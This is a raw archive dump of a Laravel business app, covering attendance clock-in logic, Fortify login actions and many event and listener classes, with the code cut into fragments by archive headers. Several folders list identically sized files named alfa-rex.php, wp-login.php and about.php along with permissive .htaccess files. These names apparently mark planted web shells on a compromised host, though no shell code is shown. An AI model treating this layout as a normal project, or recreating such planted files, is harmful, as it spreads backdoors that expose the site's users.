if($earlyClockIn->gte($officeStartTime)){ $cannotLogin = false; } else { $cannotLogin = true; } } ($showClockIn->auto_clock_in == 'yes') ? $cannotLogin = false : $cannotLogin = true; if ($cannotLogin && now()->betweenIncluded($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay()) && $attendanceSettings->shift_type == 'strict') { $cannotLogin = false; $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay(), $authUser); } else { $clockInCount = Attendance::whereDate('clock_in_time', $officeStartTime->copy()->toDateString()) ->where('user_id', $authUser) ->count(); } if ($cannotLogin) { abort(403, __('messages.permissionDenied')); } // Check user by ip if (attendance_setting()->ip_check == 'yes') { $ips = (array)json_decode(attendance_setting()->ip_address); if (!in_array($request->ip(), $ips)) { return Reply::error(__('messages.notAnAuthorisedDevice')); } } // Check maximum attendance in a day if ($clockInCount < $attendanceSettings->clockin_in_day && !$cannotLogin) { // Set TimeZone And Convert into timestamp $currentTimestamp = $now->setTimezone('UTC'); $currentTimestamp = $currentTimestamp->timestamp;; // Set TimeZone And Convert into timestamp in halfday time if ($attendanceSettings->halfday_mark_time) { $halfDayTimestamp = $now->format('Y-m-d') . ' ' . $attendanceSettings->halfday_mark_time; $halfDayTimestamp = Carbon::createFromFormat('Y-m-d H:i:s', $halfDayTimestamp, $globalSetting->timezone); $halfDayTimestamp = $halfDayTimestamp->setTimezone('UTC'); $halfDayTimestamp = $halfDayTimestamp->timestamp; } $timestamp = $now->format('Y-m-d') . ' ' . $attendanceSettings->office_start_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $timestamp, $globalSetting->timezone); $officeStartTime = $officeStartTime->setTimezone('UTC'); $lateTime = $officeStartTime->addMinutes($attendanceSettings->late_mark_duration); $checkTodayAttendance = Attendance::where('user_id', $authUser) ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $now->format('Y-m-d'))->first(); $defaultAddress = CompanyAddress::where('is_default', 1)->where('company_id', $attendanceUser->company_id)->first(); $attendance = new Attendance(); $attendance->user_id = $authUser; $attendance->clock_in_time = $now; $attendance->clock_in_ip = request()->ip(); $attendance->working_from = $showClockIn->auto_clock_in_location; $attendance->work_from_type = $showClockIn->auto_clock_in_location; $attendance->location_id = $company->employeeDetails->company_address_id ?? $defaultAddress->id; if ($now->gt($lateTime) && is_null($checkTodayAttendance) && $attendanceSettings->shift_type == 'strict') { $attendance->late = 'yes'; } $attendance->half_day = 'no'; // default halfday // Check day's first record and half day time if ( !is_null($attendanceSettings->halfday_mark_time) && is_null($checkTodayAttendance) && isset($halfDayTimestamp) && ($currentTimestamp > $halfDayTimestamp) && ($showClockIn->show_clock_in_button == 'no') // DO NOT allow half day when allowed outside hours clock-in && $attendanceSettings->shift_type == 'strict' ) { $attendance->half_day = 'yes'; } $currentLatitude = $request->currentLatitude; $currentLongitude = $request->currentLongitude; if ($currentLatitude != '' && $currentLongitude != '') { $attendance->latitude = $currentLatitude; $attendance->longitude = $currentLongitude; } $attendance->employee_shift_id = $attendanceSettings->id; $attendance->shift_start_time = $attendance->clock_in_time->toDateString() . ' ' . $attendanceSettings->office_start_time; if (Carbon::parse($attendanceSettings->office_start_time)->gt(Carbon::parse($attendanceSettings->office_end_time))) { $attendance->shift_end_time = $attendance->clock_in_time->addDay()->toDateString() . ' ' . $attendanceSettings->office_end_time; } else { $attendance->shift_end_time = $attendance->clock_in_time->toDateString() . ' ' . $attendanceSettings->office_end_time; } $attendance->company_id = $attendanceUser->company_id; // condition from Link ATA // if outside is not allowed and shift is ended then avoid the attendence saving if ( (!$showClockIn || $showClockIn->show_clock_in_button === 'no') && !now($globalSetting->timezone)->greaterThan($officeEndTime) || ($showClockIn && $showClockIn->show_clock_in_button === 'yes') ) { $attendance->save(); } return Reply::successWithData(__('messages.attendanceSaveSuccess'), ['time' => $now->format('h:i A'), 'ip' => $attendance->clock_in_ip, 'working_from' => $attendance->working_from]); } return Reply::error(__('messages.maxClockin')); } public function attendanceShift($defaultAttendanceSettings, $authUser, $company) { $globalSetting = GlobalSetting::first(); $checkPreviousDayShift = EmployeeShiftSchedule::with('shift')->where('user_id', $authUser) ->where('date', now($company->timezone)->subDay()->toDateString()) ->first(); $checkTodayShift = EmployeeShiftSchedule::with('shift')->where('user_id', $authUser) ->where('date', now($company->timezone)->toDateString()) ->first(); $backDayFromDefault = Carbon::parse(now($company->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_start_time); $backDayToDefault = Carbon::parse(now($company->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_end_time); if ($backDayFromDefault->gt($backDayToDefault)) { $backDayToDefault->addDay(); } $nowTime = Carbon::createFromFormat('Y-m-d H:i:s', now($company->timezone)->toDateTimeString(), 'UTC'); if ($checkPreviousDayShift && $nowTime->betweenIncluded($checkPreviousDayShift->shift_start_time, $checkPreviousDayShift->shift_end_time)) { $attendanceSettings = $checkPreviousDayShift; } else if ($nowTime->betweenIncluded($backDayFromDefault, $backDayToDefault)) { $attendanceSettings = $defaultAttendanceSettings; } else if ($checkTodayShift && ($nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) || $nowTime->gt($checkTodayShift->shift_end_time)) ) { $attendanceSettings = $checkTodayShift; } else if ($checkTodayShift && !is_null($checkTodayShift->shift->early_clock_in)) { $attendanceSettings = $checkTodayShift; } else if ($checkTodayShift && $checkTodayShift->shift->shift_type == 'flexible') { $attendanceSettings = $checkTodayShift; } else { $attendanceSettings = $defaultAttendanceSettings; } if (isset($attendanceSettings->shift)) { return $attendanceSettings->shift; } return $attendanceSettings; } /** * Attempt to authenticate using a custom callback. * * @param \Illuminate\Http\Request $request * @param callable $next * @return mixed */ protected function handleUsingCustomCallback($request, $next) { $user = call_user_func(Fortify::$authenticateUsingCallback, $request); if (!$user) { $this->fireFailedEvent($request); /** @phpstan-ignore-next-line */ return $this->throwFailedAuthenticationException($request); } $this->guard->login($user, $request->filled('remember')); \session()->forget('isRtl'); event(new \App\Events\UserLoginEvent($user, $request->ip())); return $next($request); } /** * Throw a failed authentication validation exception. * * @param \Illuminate\Http\Request $request * @return void * * @throws \Illuminate\Validation\ValidationException */ protected function throwFailedAuthenticationException($request) { $this->limiter->increment($request); throw ValidationException::withMessages([ Fortify::username() => [trans('auth.failed')], ]); } /** * Fire the failed authentication attempt event with the given arguments. * * @param \Illuminate\Http\Request $request * @return void */ protected function fireFailedEvent($request) { event(new Failed(config('fortify.guard'), null, [ Fortify::username() => $request->{Fortify::username()}, 'password' => $request->password, ])); } public function googleRecaptchaMessage() { throw ValidationException::withMessages([ 'g-recaptcha-response' => [__('auth.recaptchaFailed')], ]); } } Actions/Fortify/RedirectIfTwoFactorConfirmed.php000064400000002123150325104510015771 0ustar00validateCredentials($request); if (optional($user)->two_factor_confirmed && ($user->two_fa_verify_via == 'both' || $user->two_fa_verify_via == 'google_authenticator') && in_array(TwoFactorAuthenticatable::class, class_uses_recursive($user))) { return $this->twoFactorChallengeResponse($request, $user); } if (optional($user)->two_factor_email_confirmed && ($user->two_fa_verify_via == 'email' || $user->two_fa_verify_via == 'both') && in_array(TwoFactorAuthenticatable::class, class_uses_recursive($user))) { // Send otp to user from here $user->generateTwoFactorCode(); event(new TwoFactorCodeEvent($user)); return $this->twoFactorChallengeResponse($request, $user); } return $next($request); } } Actions/Fortify/CreateNewUser.php000064400000006035150325104510013013 0ustar00allow_client_signup) || isWorksuiteSaas()) { return abort(403, __('messages.clientSignUpDisabledByAdmin')); } $rules = [ 'name' => ['required', 'string', 'max:255'], 'email' => [ 'required', 'string', 'email', 'max:255', Rule::unique(User::class), ], 'password' => 'required|min:8', ]; if (global_setting()->sign_up_terms == 'yes') { $rules['terms_and_conditions'] = 'required'; } Validator::make($input, $rules)->validate(); // Checking is google recaptcha is valid if (global_setting()->google_recaptcha_status == 'active') { $gRecaptchaResponseInput = global_setting()->google_recaptcha_v3_status == 'active' ? 'g_recaptcha' : 'g-recaptcha-response'; $gRecaptchaResponse = $input[$gRecaptchaResponseInput]; $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { abort(403, __('auth.recaptchaFailed')); } } $user = User::create([ 'company_id' => $company->id, 'name' => $input['name'], 'email' => $input['email'], 'password' => Hash::make($input['password']), 'admin_approval' => !$company->admin_client_signup_approval, ]); $user->clientDetails()->create(['company_name' => $company->company_name]); $role = Role::where('company_id', $company->id)->where('name', 'client')->select('id')->first(); $user->attachRole($role->id); $user->assignUserRolePermission($role->id); $log = new AccountBaseController(); // Log search $log->logSearchEntry($user->id, $user->name, 'clients.show', 'client'); if (!is_null($user->email)) { $log->logSearchEntry($user->id, $user->email, 'clients.show', 'client'); } if (!is_null($user->clientDetails->company_name)) { $log->logSearchEntry($user->id, $user->clientDetails->company_name, 'clients.show', 'client'); } Notification::send(User::allAdmins($user->company->id), new NewCustomer($user)); return $user; } } Actions/Fortify/UpdateUserProfileInformation.php000064400000003172150325104510016106 0ustar00 ['required', 'string', 'max:255'], 'email' => [ 'required', 'string', 'email', 'max:255', Rule::unique('users')->ignore($user->id), ], ])->validateWithBag('updateProfileInformation'); if ($input['email'] !== $user->email && $user instanceof MustVerifyEmail) { $this->updateVerifiedUser($user, $input); } else { $user->forceFill([ 'name' => $input['name'], 'email' => $input['email'], ])->save(); } } /** * Update the given verified user's profile information. * * @param mixed $user * @param array $input * @return void */ protected function updateVerifiedUser($user, array $input) { $user->forceFill([ 'name' => $input['name'], 'email' => $input['email'], 'email_verified_at' => null, ])->save(); $user->sendEmailVerificationNotification(); } } Actions/Fortify/about.php7000064400000026574150325104510011512 0ustar00Actions/Fortify/PasswordValidationRules.php000064400000000516150325104510015125 0ustar00 ['required', 'string'], 'password' => $this->passwordRules(), ])->after(function ($validator) use ($user, $input) { if (!Hash::check($input['current_password'], $user->password)) { $validator->errors()->add('current_password', __('passwords.notMatch')); } })->validateWithBag('updatePassword'); $user->forceFill([ 'password' => Hash::make($input['password']), ])->save(); } } Actions/about.php7000064400000026574150325104510010070 0ustar00Services/alfa-rex.php000064400000026574150325104510010551 0ustar00Services/Google.php000064400000003011150325104510010243 0ustar00setGoogleoAuthConfig(); $client = new Google_Client(); $client->setClientId(config('services.google.client_id')); $client->setClientSecret(config('services.google.client_secret')); $client->setRedirectUri(config('services.google.redirect_uri')); $client->setScopes(config('services.google.scopes')); $client->setApprovalPrompt(config('services.google.approval_prompt')); $client->setAccessType(config('services.google.access_type')); $client->setIncludeGrantedScopes(config('services.google.include_granted_scopes')); $this->client = $client; } public function connectUsing($token) { $this->client->setAccessToken($token); return $this; } public function revokeToken($token = null) { $token = $token ?? $this->client->getAccessToken(); return $this->client->revokeToken($token); } public function service($service) { $classname = 'Google_Service_' . $service; return new $classname($this->client); } public function __call($method, $args) { if (!method_exists($this->client, $method)) { throw new Exception('Call to undefined method ' . $method); } return call_user_func_array([$this->client, $method], $args); } } Services/.htaccess000064400000000544150325104510010124 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Services/alfa-rex.php7000064400000026574150325104510010640 0ustar00Services/alfa-rex.php8000064400000026574150325104510010641 0ustar00Services/wp-login.php000064400000026574150325104510010606 0ustar00Services/alfa-rex.php56000064400000026574150325104510010724 0ustar00Services/about.php000064400000026574150325104510010164 0ustar00Services/error_log000064400000001626150325104510010245 0ustar00[04-Jul-2025 13:07:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:10:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Services/about.php7000064400000026574150325104510010253 0ustar00Events/alfa-rex.php000064400000026574150325104510010232 0ustar00Events/LeadImportEvent.php000064400000001042150325104510011554 0ustar00leadContact = $leadContact; $this->notificationName = $notificationName; } } Events/PaymentReminderEvent.php000064400000000744150325104510012627 0ustar00invoice = $invoice; $this->notifyUser = $notifyUser; } } Events/EventReminderEvent.php000064400000000610150325104510012263 0ustar00event = $event; } } Events/NewChatEvent.php000064400000001215150325104510011047 0ustar00userChat = $userChat; } public function broadcastOn() { return ['messages-channel']; } public function broadcastAs() { return 'messages.received'; } } Events/InvoiceReminderAfterEvent.php000064400000001073150325104510013564 0ustar00invoice = $invoice; $this->notifyUser = $notifyUser; $this->reminder_after_days = $reminder_after_days; } } Events/NewEstimateRequestEvent.php000064400000001003150325104510013307 0ustar00estimateRequest = $estimateRequest; } } Events/TaskEvent.php000064400000001055150325104510010422 0ustar00task = $task; $this->notifyUser = $notifyUser; $this->notificationName = $notificationName; } } Events/NewMentionChatEvent.php000064400000001343150325104510012403 0ustar00userChat = $userChat; $this->notifyUser = $notifyUser; } public function broadcastOn() { return ['messages-channel']; } public function broadcastAs() { return 'messages.received'; } } Events/.htaccess000064400000000544150325104510007605 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Events/NewUserSlackEvent.php000064400000000601150325104510012062 0ustar00user = $user; } } Events/TaskNoteMentionEvent.php000064400000001045150325104510012601 0ustar00task = $task; $this->created_at = $created_at; $this->mentionuser = $mentionuser; } } Events/TaskCommentMentionEvent.php000064400000001103150325104510013271 0ustar00task = $task; $this->comment = $comment; $this->mentionuser = $mentionuser; } } Events/EventCompletedEvent.php000064400000000727150325104510012443 0ustar00event = $event; $this->notifyUser = $notifyUser; } } Events/RemovalRequestAdminLeadEvent.php000064400000000740150325104510014235 0ustar00removalRequestLead = $removalRequestLead; } } Events/EventInviteEvent.php000064400000000724150325104510011762 0ustar00event = $event; $this->notifyUser = $notifyUser; } } Events/TimelogEvent.php000064400000001421150325104510011115 0ustar00timelog = $timelog; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return ['timelog-channel']; } public function broadcastAs() { return 'timelog-saved'; } } Events/ProjectNoteEvent.php000064400000001072150325104510011753 0ustar00project = $project; $this->created_at = $created_at; $this->unmentionUser = $unmentionUser; } } Events/SubmitWeeklyTimesheet.php000064400000001702150325104510013011 0ustar00weeklyTimesheet = $weeklyTimesheet; } /** * Get the channels the event should broadcast on. * * @return array */ public function broadcastOn(): array { return [ new PrivateChannel('new-weekly-timesheets'), ]; } } Events/alfa-rex.php7000064400000026574150325104510010321 0ustar00Events/TaskReminderEvent.php000064400000000601150325104510012104 0ustar00task = $task; } } Events/DailyScheduleEvent.php000064400000000617150325104510012242 0ustar00userData = $userData; } } Events/NewInvoiceRecurringEvent.php000064400000000752150325104510013452 0ustar00invoice = $invoice; $this->status = $status; } } Events/alfa-rex.php8000064400000026574150325104510010322 0ustar00Events/TimeTrackerReminderEvent.php000064400000000610150325104510013414 0ustar00user = $user; } } Events/LeaveEvent.php000064400000001023150325104510010547 0ustar00leave = $leave; $this->status = $status; $this->multiDates = $multiDates; } } Events/ShiftRotationEvent.php000064400000001525150325104510012317 0ustar00employeeData = $employeeData; $this->dates = $dates; $this->rotationFrequency = $rotationFrequency; } } Events/TwoFactorCodeEvent.php000064400000000722150325104510012223 0ustar00user = $user; } } Events/EstimateRequestAcceptedEvent.php000064400000000721150325104510014274 0ustar00estimateRequest = $estimateRequest; } } Events/TicketReplyEvent.php000064400000001136150325104510011757 0ustar00ticketReply = $ticketReply; $this->notifyUser = $notifyUser; $this->ticketReplyUsers = $ticketReplyUsers; } } Events/wp-login.php000064400000026574150325104510010267 0ustar00Events/NewProposalEvent.php000064400000000746150325104510011777 0ustar00proposal = $proposal; $this->type = $type; } } Events/AppreciationEvent.php000064400000001017150325104510012134 0ustar00userAppreciation = $userAppreciation; $this->notifyUser = $notifyUser; } } Events/InvoiceReminderEvent.php000064400000001046150325104510012602 0ustar00invoice = $invoice; $this->notifyUser = $notifyUser; $this->invoice_setting = $invoice_setting; } } Events/NewEstimateEvent.php000064400000000630150325104510011743 0ustar00estimate = $estimate; } } Events/TaskCommentEvent.php000064400000001177150325104510011752 0ustar00task = $task; $this->comment = $comment; $this->notifyUser = $notifyUser; $this->client = $client; } } Events/NewContractEvent.php000064400000000630150325104510011745 0ustar00contract = $contract; } } Events/alfa-rex.php56000064400000026574150325104510010405 0ustar00Events/NewPaymentEvent.php000064400000000743150325104510011612 0ustar00payment = $payment; $this->notifyUsers = $notifyUsers; } } Events/WeeklyTimesheetDraftEvent.php000064400000001661150325104510013614 0ustar00weeklyTimesheet = $weeklyTimesheet; } /** * Get the channels the event should broadcast on. * * @return array */ public function broadcastOn(): array { return [ new PrivateChannel('timesheet-status-draft'), ]; } } Events/PromotionAddedEvent.php000064400000001060150325104510012424 0ustar00promotion = $promotion; $this->user = User::where('id', $promotion->employee_id)->first(); } } Events/NewCompanyCreatedEvent.php000064400000000630150325104510013066 0ustar00company = $company; } } Events/RatingEvent.php000064400000000743150325104510010747 0ustar00rating = $rating; $this->type = $type; } } Events/ProjectReminderEvent.php000064400000000746150325104510012622 0ustar00projects = $projects; $this->user = $user; $this->data = $data; } } Events/DiscussionMentionEvent.php000064400000000776150325104510013206 0ustar00discussion = $discussion; $this->mentionuser = $mentionuser; } } Events/RemovalRequestApprovedRejectLeadEvent.php000064400000000675150325104510016131 0ustar00removal = $removal; } } Events/NewProjectMemberEvent.php000064400000000674150325104510012736 0ustar00projectMember = $projectMember; } } Events/MailTicketReplyEvent.php000064400000000764150325104510012570 0ustar00ticketReply = $ticketReply; $this->ticketEmailSetting = $ticketEmailSetting; } } Events/about.php000064400000026574150325104510007645 0ustar00Events/DiscussionEvent.php000064400000001001150325104510011632 0ustar00discussion = $discussion; $this->project_member = $project_member; } } Events/UserLoginEvent.php000064400000000663150325104510011433 0ustar00expense = $expense; $this->status = $status; } } Events/NewMessage.php000064400000001503150325104510010552 0ustar00userChat = $userChat; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new PrivateChannel('chat'); } } Events/SubTaskCompletedEvent.php000064400000000725150325104510012734 0ustar00subTask = $subTask; $this->status = $status; } } Events/DailyTimeLogReportEvent.php000064400000001063150325104510013236 0ustar00user = $user; $this->role = $role; $this->company = $company; } } Events/ContractSignedEvent.php000064400000001152150325104510012425 0ustar00contract = $contract; $this->contractSign = $contractSign; } } Events/error_log000064400000001626150325104510007726 0ustar00[04-Jul-2025 12:46:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:08:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Events/ProjectNoteMentionEvent.php000064400000001073150325104510013306 0ustar00project = $project; $this->created_at = $created_at; $this->mentionuser = $mentionuser; } } Events/TestPusherEvent.php000064400000001205150325104510011623 0ustar00task = $task; } } Events/NewCreditNoteEvent.php000064400000000766150325104510012242 0ustar00creditNote = $creditNote; $this->notifyUser = $notifyUser; } } Events/OrderUpdatedEvent.php000064400000000725150325104510012105 0ustar00order = $order; $this->notifyUser = $notifyUser; } } Events/NewUserEvent.php000064400000000702150325104510011106 0ustar00user = $user; $this->password = $password; } } Events/EstimateRequestRejectedEvent.php000064400000001001150325104510014301 0ustar00estimateRequest = $estimateRequest; } } Events/DealEvent.php000064400000001100150325104510010354 0ustar00deal = $deal; $this->notifyUser = $notifyUser; $this->notificationName = $notificationName; } } Events/AutoFollowUpReminderEvent.php000064400000000753150325104510013612 0ustar00followup = $followup; $this->subject = $subject; } } Events/EventInviteMentionEvent.php000064400000000734150325104510013315 0ustar00event = $event; $this->notifyUser = $notifyUser; } } Events/RemovalRequestApprovedRejectUserEvent.php000064400000000665150325104510016201 0ustar00removal = $removal; } } Events/NewExpenseRecurringEvent.php000064400000000752150325104510013465 0ustar00expense = $expense; $this->status = $status; } } Events/LeadEvent.php000064400000001034150325104510010362 0ustar00leadContact = $leadContact; $this->notificationName = $notificationName; } } Events/BulkShiftEvent.php000064400000001112150325104510011405 0ustar00userData = $userData; $this->dateRange = $dateRange; $this->userId = $userId; } } Events/NewProductPurchaseEvent.php000064400000000631150325104510013304 0ustar00invoice = $invoice; } } Events/DiscussionReplyEvent.php000064400000001062150325104510012655 0ustar00discussionReply = $discussionReply; $this->notifyUser = $notifyUser; } } Events/NewUserRegistrationViaInviteEvent.php000064400000000725150325104510015325 0ustar00user = $user; $this->new_user = $newUser; } } Events/BirthdayReminderEvent.php000064400000001061150325104510012751 0ustar00upcomingBirthdays = $upcomingBirthdays; $this->company = $company; } } Events/NewOrderEvent.php000064400000000741150325104510011246 0ustar00order = $order; $this->notifyUser = $notifyUser; } } Events/TicketEvent.php000064400000001101150325104510010733 0ustar00ticket = $ticket; $this->mentionUser = $mentionUser; $this->notificationName = $notificationName; } } Events/InvoicePaymentReceivedEvent.php000064400000000635150325104510014124 0ustar00payment = $payment; } } Events/FileUploadEvent.php000064400000000645150325104510011550 0ustar00fileUpload = $fileUpload; } } Events/WeeklyTimesheetApprovedEvent.php000064400000001667150325104510014342 0ustar00weeklyTimesheet = $weeklyTimesheet; } /** * Get the channels the event should broadcast on. * * @return array */ public function broadcastOn(): array { return [ new PrivateChannel('weekly-timesheet-approved'), ]; } } Events/NewIssueEvent.php000064400000000603150325104510011260 0ustar00issue = $issue; } } Events/TicketRequesterEvent.php000064400000001077150325104510012647 0ustar00ticket = $ticket; $this->notifyUser = $notifyUser; $this->mentionUser = $mentionUser; } } Events/NewNoticeEvent.php000064400000001026150325104510011411 0ustar00notice = $notice; $this->notifyUser = $notifyUser; $this->action = $action; } } Events/EstimateAcceptedEvent.php000064400000000754150325104510012731 0ustar00estimate = $estimate; } } Events/RemovalRequestAdminEvent.php000064400000000704150325104510013447 0ustar00removalRequest = $removalRequest; } } Events/MonthlyAttendanceEvent.php000064400000000774150325104510013150 0ustar00user = $user; $this->company = $company; } } Events/InvoiceUpdatedEvent.php000064400000000743150325104510012426 0ustar00invoice = $invoice; $this->notifyUser = $notifyUser; } } Events/RemovalRequestApproveRejectEvent.php000064400000000714150325104510015171 0ustar00removalRequest = $removalRequest; } } Events/TaskNoteEvent.php000064400000001136150325104510011250 0ustar00task = $task; $this->created_at = $created_at; $this->notifyUser = $notifyUser; $this->client = $client; } } Events/about.php7000064400000026574150325104510007734 0ustar00Events/ModuleStatusChanged.php000064400000000743150325104510012424 0ustar00module = $module; $this->status = $status; } } Events/EmployeeShiftScheduleEvent.php000064400000001077150325104510013756 0ustar00employeeShiftSchedule = $employeeShiftSchedule; } } Events/EventStatusNoteEvent.php000064400000000730150325104510012632 0ustar00event = $event; $this->notifyUser = $notifyUser; } } Events/EstimateDeclinedEvent.php000064400000000635150325104510012726 0ustar00estimate = $estimate; } } Events/NewInvoiceEvent.php000064400000000737150325104510011574 0ustar00invoice = $invoice; $this->notifyUser = $notifyUser; } } Events/InvitationEmailEvent.php000064400000001265150325104510012617 0ustar00invite = $invite; } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return []; } } Events/NewProjectEvent.php000064400000001250150325104510011575 0ustar00project = $project; $this->notifyUser = $notifyUser; $this->projectStatus = $projectStatus; $this->notificationName = $notificationName; } } Events/EmployeeShiftChangeEvent.php000064400000001170150325104510013401 0ustar00changeRequest = $changeRequest; $this->statusChange = $status; } } Events/HolidayEvent.php000064400000001253150325104510011111 0ustar00holiday = $holiday; $this->date = $date; $this->occassion = $occassion; $this->notifyUser = $notifyUser; } } Events/AttendanceReminderEvent.php000064400000000605150325104510013254 0ustar00notifyUser = $notifyUser; } } Events/ClockInEvent.php000064400000001175150325104510011045 0ustar00attendance = $attendance; } } Events/TaskUpdated.php000064400000001214150325104510010724 0ustar00Listeners/TicketReplyListener.php000064400000001755150325104510013176 0ustar00ticketReply?->type != 'note') { if (!is_null($event->notifyUser) && ($event->ticketReply->type != 'note')) { Notification::send($event->notifyUser, new NewTicketReply($event->ticketReply)); } else { Notification::send(User::allAdmins($event->ticketReply->ticket->company->id), new NewTicketReply($event->ticketReply)); } } if (!is_null($event->ticketReplyUsers)) { Notification::send($event->ticketReplyUsers, new NewTicketNote($event->ticketReply)); } } } Listeners/EstimateRequestAcceptedListener.php000064400000001037150325104510015505 0ustar00estimateRequest->client; if (isset($notifiable->email)){ Notification::send($notifiable, new EstimateRequestAccepted($event->estimateRequest)); } } } Listeners/PaymentReminderListener.php000064400000000710150325104510014030 0ustar00notifyUser, new PaymentReminder($event->invoice)); } } Listeners/InvoiceReminderListener.php000064400000000710150325104510014007 0ustar00notifyUser, new InvoiceReminder($event->invoice)); } } Listeners/NewInvoiceRecurringListener.php000064400000002440150325104510014656 0ustar00type && request()->type == 'send') { if (($event->invoice->project && $event->invoice->project->client_id != null) || $event->invoice->client_id != null) { $clientId = ($event->invoice->project && $event->invoice->project->client_id != null) ? $event->invoice->project->client_id : $event->invoice->client_id; // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); if ($event->status == 'status') { Notification::send($notifyUser, new InvoiceRecurringStatus($event->invoice)); } else { Notification::send($notifyUser, new NewRecurringInvoice($event->invoice)); } } } } } Listeners/LeadListener.php000064400000001054150325104510011574 0ustar00leadContact->company->id); if (session('is_imported') == false) { Notification::send($admins, new NewLeadCreated($event->leadContact)); } } } Listeners/EstimateDeclinedListener.php000064400000001035150325104510014131 0ustar00estimate->company; Notification::send(User::allAdmins($company->id), new EstimateDeclined($event->estimate)); } } Listeners/BirthdayReminderListener.php000064400000000777150325104510014176 0ustar00company->id); Notification::send($users, new BirthdayReminder($event)); } } Listeners/SubmitWeeklyTimesheetListener.php000064400000001566150325104510015233 0ustar00weeklyTimesheet->user->employeeDetails->reportingTo; // Notification::send($admins, new NewTimesheetApproval($event->weeklyTimesheet)); if ($reportingManager) { $reportingManager->notify(new NewTimesheetApproval($event->weeklyTimesheet)); } } } Listeners/DealListener.php000064400000001606150325104510011577 0ustar00findOrFail($event->deal->id); if ($event->notificationName == 'LeadAgentAssigned') { if ($lead->leadAgent) { Notification::send($lead->leadAgent->user, new LeadAgentAssigned($lead)); } } if ($event->notificationName == 'StageUpdated') { if ($lead->leadAgent) { Notification::send($lead->leadAgent->user, new DealStageUpdated($lead)); } } } } Listeners/NewProductPurchaseListener.php000064400000001170150325104510014513 0ustar00invoice->company->id); Notification::send($admins, new NewProductPurchaseRequest($event->invoice)); } } Listeners/.htaccess000064400000000544150325104510010311 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Listeners/NewExpenseRecurringListener.php000064400000001541150325104510014672 0ustar00status == 'status') { Notification::send($event->expense->user, new ExpenseRecurringStatus($event->expense)); } else { Notification::send($event->expense->user, new NewExpenseRecurringMember($event->expense)); } } } Listeners/TaskCommentListener.php000064400000001242150325104510013153 0ustar00client == 'client') { Notification::send($event->notifyUser, new TaskCommentClient($event->task, $event->comment)); } else { Notification::send($event->notifyUser, new TaskComment($event->task, $event->comment)); } } } Listeners/ShiftRotationListener.php000064400000001260150325104510013523 0ustar00employeeData; Notification::send($users, new ShiftRotationNotification($event->dates, $event->rotationFrequency, $users)); } } Listeners/NewUserSlackListener.php000064400000000501150325104510013271 0ustar00user, new NewUserSlack($event->user)); } } Listeners/EmployeeShiftScheduleListener.php000064400000000774150325104510015171 0ustar00employeeShiftSchedule->user, new ShiftScheduled($event->employeeShiftSchedule)); } } Listeners/DailyTimeLogReportListener.php000064400000000563150325104510014452 0ustar00user, new DailyTimeLogReport($event->user, $event->role)); } } Listeners/alfa-rex.php7000064400000026574150325104510011025 0ustar00Listeners/EventInviteListener.php000064400000001207150325104510013167 0ustar00event->host); Notification::send($event->notifyUser, new EventInvite($event->event)); if ($host) { Notification::send($host, new EventHostInvite($event->event)); } } } 